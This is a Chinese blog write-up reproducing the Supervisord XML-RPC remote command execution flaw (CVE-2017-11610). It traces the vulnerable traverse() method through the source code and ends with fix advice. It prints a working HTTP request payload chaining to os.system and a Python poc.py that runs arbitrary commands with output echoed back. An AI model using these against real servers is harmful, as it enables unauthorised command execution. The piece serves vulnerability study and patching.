Supervisord远程命令执行漏洞(CVE-2017-11610)复现

文章首发在安全客

https://www.anquanke.com/post/id/225451

写在前面

因为工作中遇到了这个洞,简单了解后发现正好是py的源码,因此想试一下依据前辈的分析做一下简单的代码分析,找到漏洞点。网上已经有很多类似的文章,例如P神和绿盟的文章,这里只是自己做一下学习和复现,如有侵权或有问题的地方可以私信或评论。本人会第一时间解决。

Supervisord简介

Supervisor 是一个用 Python 写的进程管理工具,可以很方便的用来在 UNIX-like 系统(不支持 Windows)下启动、重启(自动重启程序)、关闭进程(不仅仅是 Python 进程)

Supervisor 是一个 C/S 模型的程序,supervisord 是 server 端,supervisorctl 是 client 端,简单理解就是client输入supervisor的指令调用server端的API从而完成一些工作,如进程的管理。

而Supervisor的Web的服务其实很多人会用的比较多,也就是supervisord的客户端,只要路由通,即可远程通过Web页面完成类似于supervisor的client端的操作。而通过Web界面的操作由XML-RPC接口实现,该漏洞也是出在XML-RPC接口对数据的处理上。

本次下载的是3.3.2版本的源码

链接:https://pypi.org/project/supervisor/3.3.2/#files

先简单看一下它的配置文件,重点看下面这些部分

[unix_http_server]
file=/tmp/supervisor.sock ; the path to the socket file
;chmod=0700 ; socket file mode (default 0700)
;chown=nobody:nogroup ; socket file uid:gid owner
;username=user ; default is no username (open server)
;password=123 ; default is no password (open server) ;[inet_http_server] ; inet (TCP) server disabled by default
;port=127.0.0.1:9001 ; ip_address:port specifier, *:port for all iface
;username=user ; default is no username (open server)
;password=123 ; default is no password (open server) [supervisorctl]
serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL for a unix socket
;serverurl=http://127.0.0.1:9001 ; use an http:// url to specify an inet socket
;username=chris ; should be same as in [*_http_server] if set
;password=123 ; should be same as in [*_http_server] if set
;prompt=mysupervisor ; cmd line prompt (default "supervisor")
;history_file=~/.sc_history ; use readline history if available ; The sample program section below shows all possible program subsection values.
; Create one or more 'real' program: sections to be able to control them under
; supervisor.

server端监听的是/tmp/supervisor.sock这个套接字,而client端的serverurl也是这个套接字,所以client端都是通过这个套接字并根据XML-RPC协议与server端进行的通信。另外,将 [inrt_http_server]中前面 ; 去掉即可开启Web服务,默认以TCP协议监听在9001端口上。(下面不开启用户密码认证,bind 所有网卡)

supervisor的web界面大概长这样。

利用条件

漏洞影响范围:

Supervisor version 3.1.2至Supervisor version 3.3.2

开启Web服务且9001端口可被访问

版本在漏洞影响范围内

密码为弱密码或空口令

漏洞利用

放上P牛的poc

POST /RPC2 HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275 <?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>

访问页面抓包,cv这个poc进去,根据自己的环境稍作修改之后放包即可。

成功写入文件

wireshark的包

但是上面版本的poc是没有回显的。关于回显poc在vulhub的官方文档有提到

https://vulhub.org/#/environments/supervisor/CVE-2017-11610/

利用方式如下。

poc.py

#!/usr/bin/env python3
import xmlrpc.client
import sys target = sys.argv[1]
command = sys.argv[2]
with xmlrpc.client.ServerProxy(target) as proxy:
old = getattr(proxy, 'supervisor.readLog')(0,0) logfile = getattr(proxy, 'supervisor.supervisord.options.logfile.strip')()
getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system')('{} | tee -a {}'.format(command, logfile))
result = getattr(proxy, 'supervisor.readLog')(0,0) print(result[len(old):])

这个点本文就不再重点探究,下面主要复现学习分析一下这个漏洞在代码层面上是如何产生的。

漏洞分析

既然知道是XML-RPC出了问题,那么通过程序入口点然后一点点去找处理XML-RPC请求的函数,看看它是如何实现的。

先看supervisord的启动文件supervisord.py

根据前辈的poc是根据http请求发送的payload,所以跟进一下这里的 self.options.openhttpservers(self)

在options.py中定义了openhttpservers()方法

这里调用了 make_http_servers()方法,跟进一下

在ServerOptions类中定义了make_http_servers()方法,可以看到这个方法是从http.py中调用的,那么跟进看一下这个方法是如何实现的。

http.py中定义了 make_http_servers()方法

根据漏洞信息,已知是XML-RPC调用出现了问题,而 supervisor_xmlrpc_handler类就是处理RPC调用的,跟进看一下是如何实现的

在xmlrpc.py中定义了supervisor_xmlrpc_handler

在此找到了漏洞纰漏的traverse方法,在supervisor_xmlrpc_handler类中定义了 call方法,该方法返回执行完 traverse(self.rpcinterface, method, params)函数的结果,

其中在traverse函数中传入了method,params ,跟进一下看看这两个参数是什么。

supervisor_xmlrpc_handler类的 continue_request方法中发现 params, method = self.loads(data) 跟进下 loads方法。

在xmlrpc.py的最下面定义了loads方法,其将xml中的methodName和params的值分别赋值给了method和params,也就是我们上面漏洞利用过程发送POST请求时,POST请求中xml的标签名为methodName和params这两个标签的值。

比如下图中的method=supervisor.supervisord.options.warnings.linecache.os.systemparams=touch /tmp/success2 ,正常情况下,methodName=supervisor.startProcessparams=要启动的服务名称

ok,method和params参数的含义解决了,下面跟进下traverse方法。

1、path = method.split('.'). 作为分隔符对method字符串进行切片,切片的结果以列表形式赋值给path。例如 supervisor.startProcess 的结果为 ['supervisor', 'startProcess']

2、循环path,如果name的值不以 _ 开头,执行 ob = getattr(ob, name, None) , 如果name的值是方法名称,会将该方法赋值给ob。这里的for循环就像一个递归,ob会获取method列表中最后一个方法名称并在try语句里执行,比如method=supervisor.supervisord.options.warnings.linecache.os.system() 那么最后ob会获取system()并将参数params(要执行的命令)带入该方法执行并获取返回结果。

那么问题就出现在这里,在P牛的文章中也指出了:"官方开发者可能认为可调用的方法只限制在这个对象内部,所以没有做特别严格的白名单限制。" ,导致这里通过 self.rpcinterface 对任意的公共方法或递归子对象的公共方法的调用。

比如漏洞的发现者提出的调用链 self.rpcinterface.supervisor.supervisord.options.execve,因为这个poc使用时存在一些缺陷,P牛提出了一个其他的利用链(日常膜P牛): supervisor.supervisord.options.warnings.linecache.os.system()这边跟一下看看:

首先在Options类中调用了warnings方法,跟进一下。

emm 这里发现本来在上面直接import linecache 改到了 try里面,当时存在漏洞的代码是直接在上面import linecache的

跟进linecache,在linecache.py调用os

这个漏洞与java反序列化类似,只要一直寻找有import os模块的地方调用system函数即可达到执行命令的目的。

修复建议

1、升级supervisor版本

2、设置端口访问控制

3、设置复杂密码认证

参考文章

补上当时忘记贴的参考文章

https://www.leavesongs.com/PENETRATION/supervisord-RCE-CVE-2017-11610.html

http://blog.nsfocus.net/supervisord-cve-2017-11610/

Supervisord远程命令执行漏洞(CVE-2017-11610)复现的更多相关文章

  1. Weblogic wls9_async_response 反序列化远程命令执行漏洞(CVE-2019-2725)复现

    一.     漏洞简介 漏洞编号和级别 CVE编号:CVE-2019-2725,危险级别:高危,CVSS分值:9.8. CNVD 编号:CNVD-C-2019-48814,CNVD对该漏洞的综合评级为 ...

  2. Supervisord远程命令执行漏洞(CVE-2017-11610)

    目录 Supervisor 漏洞复现 修复建议 Supervisor Supervisor是使用Python 开发的进程管理程序,一般使用命令行进行管理,当然也能通过web接口图形化管理服务.在配置了 ...

  3. Supervisord 远程命令执行漏洞(CVE-2017-11610)

    漏洞影响范围: Supervisor version 3.1.2至Supervisor version 3.3.2 poc 地址.https://github.com/vulhub/vulhub/tr ...

  4. FlexPaper 2.3.6 远程命令执行漏洞 附Exp

    影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ...

  5. struts2远程命令执行漏洞S2-045

    Apache Struts2最新漏洞(CVE-2017-5638,S02-45) struts2远程命令执行漏洞S2-045 Apache Struts 2被曝存在远程命令执行漏洞,漏洞编号S2-04 ...

  6. 【漏洞公告】高危:Windows系统 SMB/RDP远程命令执行漏洞

    2017年4月14日,国外黑客组织Shadow Brokers发出了NSA方程式组织的机密文档,包含了多个Windows 远程漏洞利用工具,该工具包可以可以覆盖全球70%的Windows服务器,为了确 ...

  7. Apache Tomcat远程命令执行漏洞(CVE-2017-12615) 漏洞利用到入侵检测

    本文作者:i春秋作家——Anythin9 1.漏洞简介 当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 fals ...

  8. Drupal 远程命令执行漏洞(CVE-2018-7600)

    名称: Drupal 远程命令执行漏洞 CVE-ID: CVE-2018-7600 Poc: https://paper.seebug.org/578/ EXPLOIT-DB: https://www ...

  9. D-Link service.cgi远程命令执行漏洞复现

    1.1 概述 友讯集团(D-Link),成立于1986年,1994年10月于台湾证券交易所挂牌上市,为台湾第一家上市的网络公司,以自创D-Link品牌行销全球,产品遍及100多个国家. 1月17日,C ...

随机推荐

  1. Linux导出未越狱Iphone10.3-QQ聊天记录

    起因 手机当中的聊天记录已经快两年没有备份了,生怕某天QQ版本升级中丢失掉这些聊天记录,所想将这两年的聊天记录保存下来 查找了好多资料,结果10.3以后,IOS改变了策略,貌似不允许通过以前方法导出了 ...

  2. buu SimpleRev

    一.发现是elf文件,拖入ida,然后直接找到了关键函数 点击那个Decry()函数 二.逻辑还是很清晰的,而我是卡在这里v1的逆算法,感觉学到了很多,其实爆破就足够了 这里大小写可以一起写上 tex ...

  3. String、StringBuilder和StringBuffer的比较

    目录 1.String特性 1.1 不可变 1.2 字符串常量池 2.StringBuilder和StringBuffer 2.1 区别 2.2 应用场景 1.String特性 1.1 不可变 它是I ...

  4. 使用jquery的on方法注册事件遇到的坑

    1,使用on注册事件 $(selector).on(event,childSelector,data,function) 2,$(selector)中的selector可以是document,那么意味 ...

  5. mybatis-4-Mapper映射文件

    Mapper映射文件 映射文件的Mapper标签包含标签 1.CDUS增删改查 2.参数处理 (1)直接传入参数 单个参数 //传入当个参数 public Employee getEmployeeBy ...

  6. ML - 常用数学符号

    关系运算符: ±:\pm ×:\times ÷:\div ∣:\mid ∤:\nmid ⋅:\cdot ∘:\circ ∗:\ast ⨀:\bigodot ⨂:\bigotimes ⨁:\bigopl ...

  7. erase

    erase详细解释及原理 我们先定义一个字符串string string.erase(iterator) iterator表示要删除元素的迭代器. string.erase(it_begin,it_e ...

  8. 最小覆盖问题-POJ3041-P1129

    POJ3041 这道题正解对于像我这种蒟蒻来说比较难以想到. 我们发现每次覆盖的只是一条线上的所有点.那么我们可以把它想象成一个二分图,两个集合分别是横轴和纵轴. 想一想,这实际上是不是就是x轴轴和纵 ...

  9. java 向Redis中存放数据 List<Device>转String

    /** * redis服务 */ @Autowired private RedisService redisService; //创建 Device  对象 Device no = new Devic ...

  10. c++ 的父类 new 重载, 子类new 对象的时候会调用父类的operater new

    子类在new 对象的 时候  父类的new 进行了重载,那么会调用父类的operater new() 函数 #include <iostream> #include <string& ...